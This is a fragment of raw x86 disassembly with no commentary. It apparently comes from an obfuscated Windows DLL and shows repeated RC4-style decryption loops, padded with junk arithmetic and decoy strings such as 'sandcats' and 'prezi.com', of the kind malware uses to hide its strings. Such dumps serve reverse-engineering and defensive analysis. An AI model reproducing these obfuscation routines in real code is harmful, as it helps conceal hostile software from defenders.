je 0x100074a3
cmp word [ebp + eax - 0xdc], dx
je 0x100074a3
inc edi
lea eax, [edi + edi]
movzx ecx, word [eax + str.sandcats]
cmp cx, word [ebp + eax - 0xdc]
je 0x1000747f
mov eax, dword [ebp - 0x5c]
mov esi, dword [ebp - 0x14]
cmp eax, edi
jae 0x100074cd
cmp eax, 0xf14
jne 0x100074ba
add esi, 0x3bc9a2fd
imul esi, esi, 0x29147a8c
inc eax
cmp eax, edi
jb 0x100074ad
mov dword [ebp - 0x5c], eax
jmp 0x100074cd
mov esi, dword [ebp - 0x14]
mov eax, dword [ebp - 0x24]
mov edx, esi
mov ecx, dword [ebp - 0x18]
push str.DllGetVersion
push esi
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + ecx - 0x228], al
mov ecx, esi
call fcn.1000413c
pop ecx
pop ecx
mov edi, str.sandcats
call fcn.10003524
lea edi, [edi + 2]
xor edx, edx
add esi, 0xa8b4a035
cmp word [edi], dx
jne 0x100074f7
mov eax, dword [ebp - 0x24]
or esi, 0x27dbefde
mov cl, byte [ebp - 0x1d]
push 0xc
mov dword [ebp - 0x14], esi
mov byte [ebp + eax - 0x228], cl
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x228]
add eax, dword [ebp - 0x94]
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + ecx - 0x54]
mov byte [ebp + ecx - 0x308], al
inc ecx
pop eax
cmp ecx, eax
mov dword [ebp - 0x1c], ecx
mov eax, dword [ebp - 0x18]
mov ecx, dword [ebp - 0x24]
jb 0x10007436
mov eax, str.sandcats
lea eax, [eax + 2]
and esi, 0x7607e045
cmp word [eax], dx
jne 0x10007565
push 0x13
pop eax
mov dword [ebp - 0x14], esi
mov byte [ebp - 0x2fc], dl
mov dword [ebp - 0x78], 0x63a4c183
mov dword [ebp - 0x74], 0xdc9e2ec
mov word [ebp - 0x70], 0x970d
mov byte [ebp - 0x6e], al
mov dword [ebp - 0x6d], 0x72fbb731
call fcn.10004831
mov al, byte [ebp - 0x10]
lea edi, [ebp - 0x58]
mov esi, str.ee3938cd632f3fd5
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp al, byte [ebp - 0x58]
jne 0x100075e0
mov esi, dword [ebp - 0x14]
xor edi, edi
test al, al
je 0x100075e0
cmp byte [ebp + edi - 0x58], 0
je 0x100075e0
mov edx, str.sandcats
mov ecx, esi
call fcn.10004436
mov al, byte [edi + 0x1003e721]
inc edi
cmp al, byte [ebp + edi - 0x58]
je 0x100075bc
mov esi, str.RunningObjectTable
lea edi, [ebp - 0x58]
xor eax, eax
mov ecx, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov edi, eax
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x100075f5
mov esi, eax
xor edx, edx
mov dword [ebp - 0x94], 0x12
mov eax, esi
mov cl, byte [ebp + esi - 0x228]
div dword [ebp - 0x94]
mov byte [ebp - 0x10], cl
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x58]
add eax, edi
add ecx, eax
movzx edi, cl
mov al, byte [ebp + edi - 0x228]
mov byte [ebp + esi - 0x228], al
inc esi
mov al, byte [ebp - 0x10]
mov byte [ebp + edi - 0x228], al
cmp esi, 0x100
jb 0x10007607
xor eax, eax
mov dword [ebp - 0x18], eax
mov edi, eax
mov esi, eax
lea eax, [edi + 1]
movzx edi, al
mov eax, dword [ebp - 0x18]
mov cl, byte [ebp + edi - 0x228]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + edi - 0x228], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x228], cl
movzx eax, byte [ebp + edi - 0x228]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + esi - 0x78]
mov byte [ebp + esi - 0x288], al
inc esi
cmp esi, 0xf
jb 0x1000765e
push 0x56
pop edx
xor eax, eax
mov dword [ebp - 0xd0], 0x9fd
push 9
mov byte [ebp - 0x279], al
mov ecx, eax
mov dword [ebp - 0xcc], 0x1a79
mov dword [ebp - 0xc8], 0x1760
mov dword [ebp - 0xc4], 0x17c7
mov dword [ebp - 0xc0], 0x472
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], 0x92
mov dword [ebp - 0xb4], 0x16e4
mov dword [ebp - 0xb0], edx
pop esi
cmp ecx, 5
je 0x10007722
inc ecx
cmp ecx, esi
jl 0x10007718
mov ecx, dword [ebp + ecx*4 - 0xd0]
lea edi, [ebp - 0x7c]
mov esi, str.IsNumberedAccelKey
xor ecx, edx
mov dword [ebp - 0x124], ecx
mov cl, byte [ebp - 0x40]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
cmp cl, byte [ebp - 0x7c]
jne 0x10007769
mov esi, eax
test cl, cl
je 0x10007767
cmp byte [ebp + esi - 0x7c], 0
je 0x10007767
call fcn.10004cad
mov cl, byte [esi + 0x1003e691]
inc esi
cmp cl, byte [ebp + esi - 0x7c]
je 0x1000774a
xor eax, eax
mov edx, dword [ebp - 0x14]
push 0x25
pop ecx
push 0xb
mov dword [ebp - 0xcc], ecx
or edx, 0xc259d9b0
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xc0], ecx
mov dword [ebp - 0xb0], ecx
mov dword [ebp - 0xd8], 0xc04
mov dword [ebp - 0xd4], 0x1e37
mov dword [ebp - 0xd0], 0x2553
mov dword [ebp - 0xc4], 0x282
mov dword [ebp - 0xbc], 0x251a
mov dword [ebp - 0xb8], 0x1e0a
mov dword [ebp - 0xb4], 0xedd
pop ecx
cmp eax, 3
je 0x100077e0
inc eax
cmp eax, ecx
jl 0x100077d6
mov eax, dword [ebp + eax*4 - 0xd8]
lea edi, [ebp - 0x84]
push 7
pop ecx
xor eax, 0x24
mov dword [ebp - 0x50], 0xb3153afa
mov esi, 0x10033a70
mov dword [ebp - 0x230], eax
sub edx, 0x124b1e68
mov dword [ebp - 0x4c], 0x9224f88a
rep movsd dword es:[edi], dword [esi]
mov word [ebp - 0x48], 0x1501
mov byte [ebp - 0x46], 0x84
mov dword [ebp - 0x14], edx
call fcn.10003e1f
push 0xb
pop ecx
mov esi, str.Disable_Import_Feature
lea edi, [ebp - 0xd8]
rep movsd dword es:[edi], dword [esi]
push 0x73
xor eax, eax
pop edx
movsw word es:[edi], word [esi]
mov dword [ebp - 0x1c], eax
cmp dx, word [ebp - 0xd8]
jne 0x1000787d
mov ecx, eax
test dx, dx
je 0x1000787d
cmp word [ebp + ecx - 0xd8], ax
je 0x1000787d
call fcn.10003623
mov eax, dword [ebp - 0x1c]
inc eax
push 0
mov dword [ebp - 0x1c], eax
lea ecx, [eax + eax]
movzx edx, word [ecx + str.sandcats]
pop eax
cmp dx, word [ebp + ecx - 0xd8]
je 0x1000784b
cmp byte [str.Windows_95_OSR2], 0
mov edi, eax
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x1c], eax
je 0x100078a3
call fcn.10003623
and esi, 0xfff86441
inc edi
cmp byte [edi + str.Windows_95_OSR2], 0
jne 0x1000788e
call fcn.10005858
lea eax, [esi + 0x46156310]
cmp edi, 0x1260
jb 0x100078bc
imul eax, esi, 0xdda3eded
and eax, 0x3a5645c9
mov edi, 0x100
mov dword [ebp - 0x14], eax
xor eax, eax
mov ecx, eax
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, edi
jb 0x100078cd
mov esi, eax
xor edx, edx
mov cl, byte [ebp + esi - 0x228]
mov eax, esi
mov byte [ebp - 0x10], cl
div dword [ebp - 0x44]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x84]
add eax, dword [ebp - 0x1c]
add ecx, eax
movzx ecx, cl
mov dword [ebp - 0x1c], ecx
mov al, byte [ebp + ecx - 0x228]
mov byte [ebp + esi - 0x228], al
inc esi
mov al, byte [ebp - 0x10]
mov byte [ebp + ecx - 0x228], al
cmp esi, edi
jb 0x100078db
mov esi, 0x100325a8
lea edi, [ebp - 0x74]
xor eax, eax
mov ecx, eax
mov dword [ebp - 0x18], eax
mov edx, eax
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, dword [ebp - 0x14]
jmp 0x1000793b
mov ecx, dword [ebp - 0x1c]
lea eax, [edx + 1]
movzx eax, al
mov dword [ebp - 0x24], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp - 0x10], al
movzx eax, al
mov dword [ebp - 0x94], eax
add eax, ecx
movzx eax, al
mov dword [ebp - 0x1c], eax
call fcn.10005333
mov al, byte [str.Windows_95_OSR2]
xor ecx, ecx
mov edi, ecx
cmp al, byte [ebp - 0x74]
jne 0x100079b5
test al, al
je 0x10007989
cmp byte [ebp + edi - 0x74], cl
je 0x10007989
mov al, byte [edi + 0x1003e541]
inc edi
cmp al, byte [ebp + edi - 0x74]
je 0x10007972
mov eax, dword [ebp - 0x44]
cmp eax, edi
jae 0x100079b5
cmp eax, 0x20ad
jne 0x100079a5
or esi, 0xc08b65c
call fcn.10003896
mov eax, dword [ebp - 0x44]
sub esi, 0xb61852b
inc eax
mov dword [ebp - 0x44], eax
cmp eax, edi
jb 0x10007990
xor ecx, ecx
mov edi, dword [ebp - 0x1c]
or esi, 0x7de63771
mov edx, dword [ebp - 0x24]
push 0xb
mov al, byte [ebp + edi - 0x228]
mov byte [ebp + edx - 0x228], al
mov al, byte [ebp - 0x10]
mov byte [ebp + edi - 0x228], al
movzx eax, byte [ebp + edx - 0x228]
add eax, dword [ebp - 0x94]
mov edx, dword [ebp - 0x18]
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + edx - 0x50]
mov byte [ebp + edx - 0x2b0], al
inc edx
pop eax
mov dword [ebp - 0x18], edx
cmp edx, eax
mov edx, dword [ebp - 0x24]
jb 0x10007938
push 0x4e
pop eax
mov dword [ebp - 0x14], esi
mov byte [ebp - 0x2a5], cl
mov dword [ebp - 0xcc], eax
mov dword [ebp - 0xc8], 0xec9
mov dword [ebp - 0xc4], 0x1c21
mov dword [ebp - 0xc0], eax
mov dword [ebp - 0xbc], 0x1df1
mov dword [ebp - 0xb8], 0x146f
mov dword [ebp - 0xb4], eax
mov dword [ebp - 0xb0], 0x1c58
cmp ecx, 6
je 0x10007a6c
inc ecx
cmp ecx, 8
jl 0x10007a61
mov eax, dword [ebp + ecx*4 - 0xcc]
lea edi, [ebp - 0x78]
mov esi, str.franziskaner
mov byte [ebp - 0x54], 0x6f
xor eax, 0x4f
mov dword [ebp - 0x52], 0xe95cb199
push 0xa
mov dword [ebp - 0x234], eax
movsd dword es:[edi], dword [esi]
pop eax
push 0xb
mov dword [ebp - 0x60], eax
movsd dword es:[edi], dword [esi]
mov byte [ebp - 0x53], al
pop eax
push ecx
movsd dword es:[edi], dword [esi]
push ecx
mov ecx, str.DllGetVersion
mov byte [ebp - 0x4e], 0x42
mov byte [ebp - 0x4d], al
mov dword [ebp - 0x4c], 0xee7a1759
movsb byte es:[edi], byte [esi]
call fcn.10003f9a
mov edx, dword [ebp - 0x14]
xor eax, eax
pop ecx
pop ecx
mov edi, eax
add edx, 0xf8cd485c
inc edi
cmp word [edi*2 + str.DllGetVersion], ax
jne 0x10007ac2
mov esi, dword [ebp - 0x98]
cmp esi, edi
jae 0x10007b16
mov eax, edx
cmp esi, 0x17e6
jne 0x10007b07
mov ecx, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
and eax, 0x1ea7ffa1
push ecx
mov edx, ecx
mov dword [0x1003e6c0], eax
mov ecx, eax
call fcn.1000516c
mov edx, dword [0x1003e6c0]
pop ecx
imul edx, edx, 0x91315900
inc esi
mov eax, edx
cmp esi, edi
jb 0x10007adf
xor eax, eax
mov dword [ebp - 0x94], eax
mov ecx, eax
and edx, 0xda2c7331
xor edx, 0xff692929
mov byte [ebp + ecx - 0x228], cl
add edx, 0x9adcf2c3
inc ecx
mov dword [0x1003e6c0], edx
cmp ecx, 0x100
jb 0x10007b24
push 0x14
pop ecx
mov esi, str.rAdding_duplicate_image_handler_for__s
mov dword [ebp - 0x14], edx
lea edi, [ebp - 0x100]
mov dword [ebp - 0x44], eax
rep movsd dword es:[edi], dword [esi]
push 0x44
pop ecx
movsw word es:[edi], word [esi]
cmp cx, word [ebp - 0x100]
jne 0x10007bb8
mov esi, dword [ebp - 0x14]
mov edx, ecx
mov ecx, eax
test dx, dx
je 0x10007bb8
cmp word [ebp + ecx - 0x100], ax
je 0x10007bb8
push str.vtable_constructor_called_recursively:__s
mov edx, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
mov ecx, esi
call fcn.1000516c
mov eax, dword [ebp - 0x44]
mov esi, dword [0x1003e6c0]
inc eax
pop ecx
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x14], esi
lea ecx, [eax + eax]
xor eax, eax
movzx edx, word [ecx + str.DllGetVersion]
cmp dx, word [ebp + ecx - 0x100]
je 0x10007b71
mov esi, dword [ebp - 0x94]
mov edi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x228]
mov eax, edi
mov byte [ebp - 0x10], cl
div dword [ebp - 0x9c]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x78]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x228]
mov byte [ebp + edi - 0x228], al
inc edi
mov al, byte [ebp - 0x10]
mov byte [ebp + esi - 0x228], al
cmp edi, 0x100
jb 0x10007bc0
mov ecx, dword [ebp - 0x14]
mov edx, str.1_1_1_1_10141H1L1d1h1l1p1t1x1
push str.prezi.com
call fcn.1000516c
pop ecx
push 0xc
pop eax
mov ecx, eax
lea edi, [ebp - 0xdc]
mov esi, str.Unexpected_marker_0x_02x
xor edx, edx
rep movsd dword es:[edi], dword [esi]
push 0x44
pop eax
movsw word es:[edi], word [esi]
cmp ax, word [ebp - 0xdc]
jne 0x10007ca5
mov ecx, eax
mov eax, edx
mov edi, edx
test cx, cx
je 0x10007c63
cmp word [ebp + eax - 0xdc], dx
je 0x10007c63
inc edi
lea eax, [edi + edi]
movzx ecx, word [eax + str.DllGetVersion]
cmp cx, word [ebp + eax - 0xdc]
je 0x10007c3f
mov esi, dword [ebp - 0x98]
cmp esi, edi
jae 0x10007ca5
mov ecx, dword [0x1003e6c0]
cmp esi, 0x2521
jne 0x10007c96
and ecx, 0xb8ebde07
push str.sandcats
push ecx
mov edx, ecx
mov dword [ebp - 0x14], ecx
call fcn.1000413c
pop ecx
pop ecx
mov ecx, dword [ebp - 0x14]
xor ecx, 0x7ba34db9
inc esi
cmp esi, edi
jb 0x10007c73
xor edx, edx
jmp 0x10007cab
mov ecx, dword [0x1003e6c0]
mov esi, str.dyndns_ip
mov dword [ebp - 0x44], edx
lea edi, [ebp - 0x90]
xor ecx, 0xdecfbef7
or ecx, 0xccebe77
mov eax, edx
mov dword [ebp - 0x14], ecx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
mov esi, ecx
mov edi, edx
inc eax
movzx ecx, al
mov dword [ebp - 0x1c], ecx
mov al, byte [ebp + ecx - 0x228]
mov byte [ebp - 0x10], al
movzx eax, al
mov dword [ebp - 0x94], eax
add eax, edi
movzx eax, al
mov edi, edx
mov dword [ebp - 0x9c], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + ecx - 0x228], al
mov al, byte [str.vtable_constructor_called_recursively:__s]
cmp al, byte [ebp - 0x90]
jne 0x10007d37
test al, al
je 0x10007d37
cmp byte [ebp + edi - 0x90], 0
je 0x10007d37
call fcn.10004bf7
mov al, byte [edi + 0x1003e721]
inc edi
cmp al, byte [ebp + edi - 0x90]
je 0x10007d14
call fcn.10003284
movzx eax, byte [ebp + edi - 0x90]
movzx ecx, byte [edi + str.vtable_constructor_called_recursively:__s]
sub ecx, eax
cmp ecx, 0x263a
jne 0x10007d6b
push ecx
push ecx
mov ecx, str.DllGetVersion
call fcn.10003f9a
pop ecx
pop ecx
add esi, 0x1a3d6cce
jmp 0x10007d76
call fcn.10003c14
and esi, 0x1ad45929
mov edi, dword [ebp - 0x9c]
add esi, 0x9874ba8
mov al, byte [ebp - 0x10]
and esi, 0x14b6be19
mov ecx, dword [ebp - 0x44]
add esi, 0xb2d379fd
push 0xc
mov byte [ebp + edi - 0x228], al
mov eax, dword [ebp - 0x1c]
movzx eax, byte [ebp + eax - 0x228]
add eax, dword [ebp - 0x94]
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + ecx - 0x54]
mov byte [ebp + ecx - 0x338], al
inc ecx
pop eax
push 0
cmp ecx, eax
mov dword [ebp - 0x44], ecx
mov eax, dword [ebp - 0x1c]
pop edx
jb 0x10007cd2
mov dword [ebp - 0x14], esi
lea edi, [ebp - 0x7c]
xor eax, eax
mov dword [ebp - 0x54], 0x37e2fa15
mov esi, str.SetForegroundWindow
mov byte [ebp - 0x32c], al
push 5
pop ecx
rep movsd dword es:[edi], dword [esi]
mov ecx, eax
mov esi, dword [ebp - 0x14]
mov dword [ebp - 0x50], 0x71503e67
mov dword [ebp - 0x4c], 0x666c27b8
mov dword [ebp - 0x9c], eax
cmp byte [str.Windows_95_OSR2], al
je 0x10007e35
xor esi, 0x18b7a31a
inc ecx
cmp byte [ecx + str.Windows_95_OSR2], al
jne 0x10007e16
cmp ecx, 0x235d
jne 0x10007e35
add esi, 0x5943913f
jmp 0x10007e44
and esi, 0x59caba15
mov ecx, esi
call fcn.10003acf
xor eax, eax
and esi, 0x38b85b0a
mov ecx, eax
mov dword [ebp - 0x14], esi
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x10007e4f
mov esi, dword [ebp - 0x9c]
mov edi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x228]
mov eax, edi
mov byte [ebp - 0x10], cl
div dword [ebp - 0xa0]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x7c]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x228]
mov byte [ebp + edi - 0x228], al
inc edi
mov al, byte [ebp - 0x10]
mov byte [ebp + esi - 0x228], al
cmp edi, 0x100
jb 0x10007e67
mov esi, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x18], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
movzx eax, al
mov dword [ebp - 0x24], eax
mov cl, byte [ebp + eax - 0x228]
mov eax, dword [ebp - 0x18]
movzx edx, cl
add eax, edx
mov dword [ebp - 0xa0], edx
mov edx, dword [ebp - 0x24]
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + edx - 0x228], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x228], cl
mov ecx, edx
xor edx, edx
movzx eax, byte [ebp + ecx - 0x228]
add eax, dword [ebp - 0xa0]
and esi, 0xdcdd9fbc
movzx eax, al
mov al, byte [ebp + eax - 0x228]
mov byte [ebp - 0x10], al
mov eax, edx
or esi, 0xb29d1d51
inc eax
cmp word [eax*2 + str.DllGetVersion], dx
jne 0x10007f1d
cmp eax, 0x1a8e
jne 0x10007f53
push ecx
mov edx, str.vtable_constructor_called_recursively:__s
mov ecx, str.sandcats
call fcn.100051fa
pop ecx
mov ecx, dword [ebp - 0x24]
imul esi, esi, 0x9e32a602
xor edx, edx
jmp 0x10007f59
add esi, 0xe9fe4d08
mov al, byte [ebp + edi - 0x54]
xor al, byte [ebp - 0x10]
mov byte [ebp + edi - 0x318], al
inc edi
push 0xc
pop eax
cmp edi, eax
jb 0x10007eb7
push 0x46
pop ecx
mov dword [ebp - 0x14], esi
mov eax, edx
mov byte [ebp - 0x30c], dl
mov dword [ebp - 0xe0], 0x13f3
mov dword [ebp - 0xdc], ecx
mov dword [ebp - 0xd8], 0x7b6
mov dword [ebp - 0xd4], 0x1f59
mov dword [ebp - 0xd0], 0x3a6
mov dword [ebp - 0xcc], 0x215c
mov dword [ebp - 0xc8], 0x17e1
mov dword [ebp - 0xc4], 0x226
mov dword [ebp - 0xc0], 0x1ccf
mov dword [ebp - 0xbc], 0x1543
mov dword [ebp - 0xb8], 0x1d87
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb0], ecx
cmp eax, 1
je 0x10008002
inc eax
cmp eax, 0xd
jl 0x10007ff7
mov eax, dword [ebp + eax*4 - 0xe0]
xor eax, ecx
mov dword [ebp - 0xcc], 0x21e1
mov ecx, 0xe3
mov dword [ebp - 0x9c], eax
push 9
mov eax, edx
mov dword [ebp - 0xd0], ecx
mov dword [ebp - 0xc8], ecx
mov dword [ebp - 0xc4], 0x6cb
mov dword [ebp - 0xc0], 0xa49
mov dword [ebp - 0xbc], 0x1cbc
mov dword [ebp - 0xb8], 0x1c1d
mov dword [ebp - 0xb4], ecx
mov dword [ebp - 0xb0], 0x270d
pop esi
cmp eax, 2
je 0x10008073
inc eax
cmp eax, esi
jl 0x10008069
mov eax, dword [ebp + eax*4 - 0xd0]
lea edi, [ebp - 0xc8]
push 7
pop ecx
mov esi, str.jwxDialogLayoutAdapterModule
mov dword [ebp - 0x54], 0x5b95abfb
rep movsd dword es:[edi], dword [esi]
xor eax, 0xe2
mov dword [ebp - 0x50], 0xd84de3ba
cmp byte [str.vtable_constructor_called_recursively:__s], 0
mov ecx, edx
mov dword [ebp - 0x94], eax
mov dword [ebp - 0x4c], 0x4db48e8
movsb byte es:[edi], byte [esi]
je 0x1000810d
mov eax, dword [ebp - 0x14]
and eax, 0xb9fe6e70
inc ecx
cmp byte [ecx + str.vtable_constructor_called_recursively:__s], 0
jne 0x100080b9
mov edi, dword [ebp - 0x98]
mov dword [ebp - 0xa0], ecx
mov dword [ebp - 0x14], eax
cmp edi, ecx
jae 0x1000810d
mov dword [ebp - 0x44], eax
mov esi, eax
call fcn.10003c14
cmp edi, 0x1a81
jne 0x100080f6
mov esi, dword [ebp - 0x44]
xor esi, 0xd00533b6
add esi, 0xa1757cb0
inc edi
mov dword [ebp - 0x14], esi
mov dword [ebp - 0x44], esi
cmp edi, dword [ebp - 0xa0]
jb 0x100080e0
xor edx, edx
push 5
pop ecx
push 0x73
mov esi, str.3_474F5X5
mov dword [ebp - 0x44], edx
lea edi, [ebp - 0x7c]
pop eax
rep movsd dword es:[edi], dword [esi]
cmp ax, word [ebp - 0x7c]
jne 0x10008155
mov ecx, eax
mov eax, edx
test cx, cx
je 0x10008155
cmp word [ebp + eax - 0x7c], dx
je 0x10008155
call fcn.10005530
mov eax, dword [ebp - 0x44]
inc eax
mov dword [ebp - 0x44], eax
add eax, eax
push 0
pop edx
movzx ecx, word [eax + str.sandcats]
cmp cx, word [ebp + eax - 0x7c]
je 0x1000812a
mov cl, byte [str.vtable_constructor_called_recursively:__s]
lea edi, [ebp - 0x90]
mov esi, str.memorial
mov dword [ebp - 0xa0], edx
mov eax, edx
mov dword [ebp - 0x44], edx
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsb byte es:[edi], byte [esi]
cmp cl, byte [ebp - 0x90]
jne 0x1000819d
test cl, cl
je 0x1000819a
cmp byte [ebp + eax - 0x90], 0
je 0x1000819a
mov cl, byte [eax + 0x1003e721]
inc eax
cmp cl, byte [ebp + eax - 0x90]
je 0x1000817c
mov dword [ebp - 0x44], eax
mov esi, dword [ebp - 0x14]
mov edx, str.DllGetVersion
mov ecx, esi
call fcn.10004436
mov ecx, dword [ebp - 0x44]
movzx eax, byte [ebp + ecx - 0x90]
movzx ecx, byte [ecx + str.vtable_constructor_called_recursively:__s]
sub ecx, eax
cmp ecx, 0x1f06
jae 0x100081da
mov ecx, str.prezi.com
call fcn.100056db
add esi, 0xa2ab2941
jmp 0x100081e5
call fcn.10004f39
xor esi, 0x5a96d4ab
xor eax, eax
mov dword [ebp - 0x14], esi
mov ecx, eax
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x100081ec
mov esi, dword [ebp - 0xa0]
mov edi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x228]
mov eax, edi
mov byte [ebp - 0x10], cl
div dword [ebp - 0x64]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0xc8]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x228]
mov byte [ebp + edi - 0x228], al
inc edi
mov al, byte [ebp - 0x10]
mov byte [ebp + esi - 0x228], al
cmp edi, 0x100
jb 0x10008204
mov esi, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x24], eax
mov dword [ebp - 0x5c], eax
call fcn.10004831
xor edi, edi
call fcn.10003623
add esi, 0x4f02fe0f
xor eax, eax
inc edi
cmp word [edi*2 + str.sandcats], ax
jne 0x1000825d
cmp dword [ebp - 0x1c], edi
jae 0x100082b7
mov dword [ebp - 0x44], esi
jmp 0x10008282
mov esi, dword [ebp - 0x64]
call fcn.10003524
mov ecx, dword [ebp - 0x1c]
cmp ecx, 0x999
jne 0x1000829b
mov esi, dword [ebp - 0x44]
xor esi, 0x78176303
or esi, 0xf24f8b24
inc ecx
mov dword [0x1003e6c0], esi
mov eax, esi
mov dword [ebp - 0x44], eax
mov dword [ebp - 0x1c], ecx
mov dword [ebp - 0x64], eax
cmp ecx, edi
jb 0x1000827f
mov edi, str.sandcats
mov ecx, str.DllGetVersion
mov edx, edi
call fcn.10004978
xor eax, eax
mov ecx, eax
or esi, 0x8f68a0b0
inc ecx
cmp word [ecx*2 + str.sandcats], ax
jne 0x100082cc
mov dword [0x1003e6c0], esi
cmp ecx, 0x378
jne 0x100082f3
or esi, 0xd002ee86
jmp 0x10008302
mov edx, edi
mov ecx, edi
call fcn.10004978
add esi, 0x8e622eee
mov eax, dword [ebp - 0x24]
and esi, 0x848963c8
inc eax
add esi, 0x72b7b8ad
movzx edi, al
mov eax, dword [ebp - 0x18]
push 0xc
mov dword [ebp - 0x24], edi
mov cl, byte [ebp + edi - 0x228]
movzx edx, cl
add eax, edx
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + edi - 0x228], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x228], cl
movzx eax, byte [ebp + edi - 0x228]
mov ecx, dword [ebp - 0x5c]
add eax, edx
movzx eax, al
mov al, byte [ebp + eax - 0x228]
xor al, byte [ebp + ecx - 0x54]
mov byte [ebp + ecx - 0x328], al
inc ecx
pop eax
mov dword [ebp - 0x5c], ecx
cmp ecx, eax
jb 0x10008256
mov dword [ebp - 0x14], esi
lea edi, [ebp - 0x50]
mov esi, str.WhitePoint
mov dword [ebp - 0x90], 0x9f2f976b
xor eax, eax
mov dword [ebp - 0x8c], 0xf2b3d8f9
mov byte [ebp - 0x31c], al
mov ecx, eax
mov byte [ebp - 0x88], 0x32
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, dword [ebp - 0x14]
or esi, 0xac26ec4c
add esi, 0x41e8aefa
mov dword [ebp - 0x14], esi
mov byte [ebp + ecx - 0x228], cl
inc ecx
cmp ecx, 0x100
jb 0x100083bd
mov edi, eax
mov esi, eax
xor edx, edx
mov cl, byte [ebp + edi - 0x228]
mov eax, edi
mov byte [ebp - 0x10], cl
div dword [ebp - 0x60]
movzx ecx, cl
movzx eax, byte [ebp + edx - 0x50]
add eax, esi
add ecx, eax
movzx esi, cl
mov al, byte [ebp + esi - 0x228]
mov byte [ebp + edi - 0x228], al
inc edi
mov al, byte [ebp - 0x10]
mov byte [ebp + esi - 0x228], al
cmp edi, 0x100
jb 0x100083d1
mov esi, dword [ebp - 0x14]
xor eax, eax
mov dword [ebp - 0x18], eax
mov ecx, eax
mov edi, eax
lea eax, [ecx + 1]
sub esi, 0x1be0cf4f
movzx eax, al
mov dword [ebp - 0x24], eax
push 9
mov cl, byte [ebp + eax - 0x228]
mov eax, dword [ebp - 0x18]
movzx edx, cl
add eax, edx
mov dword [ebp - 0x64], edx
mov edx, dword [ebp - 0x24]
movzx eax, al
mov dword [ebp - 0x18], eax
mov al, byte [ebp + eax - 0x228]
mov byte [ebp + edx - 0x228], al
mov eax, dword [ebp - 0x18]
mov byte [ebp + eax - 0x228], cl
mov eax, edx
movzx eax, byte [ebp + eax - 0x228]
add eax, dword [ebp - 0x64]
movzx eax, al
mov cl, byte [ebp + eax - 0x228]
mov al, byte [ebp + edi - 0x90]
xor al, cl
mov ecx, edx
mov byte [ebp + edi - 0x298], al
inc edi
pop eax
cmp edi, eax
jb 0x1000841e
mov edx, 0x93
mov dword [ebp - 0xcc], 0x1267
xor eax, eax
mov dword [ebp - 0xc8], edx
mov byte [ebp - 0x28f], al
mov ecx, eax
mov dword [ebp - 0xc4], 0xada
mov dword [ebp - 0xc0], edx
mov dword [ebp - 0xbc], edx
mov dword [ebp - 0xb8], edx
mov dword [ebp - 0xb4], 0x5ca
mov dword [ebp - 0xb0], 0x24c7
cmp ecx, 4
je 0x100084eb
inc ecx
cmp ecx, 8
jl 0x100084e0
mov ecx, dword [ebp + ecx*4 - 0xcc]
mov edi, eax
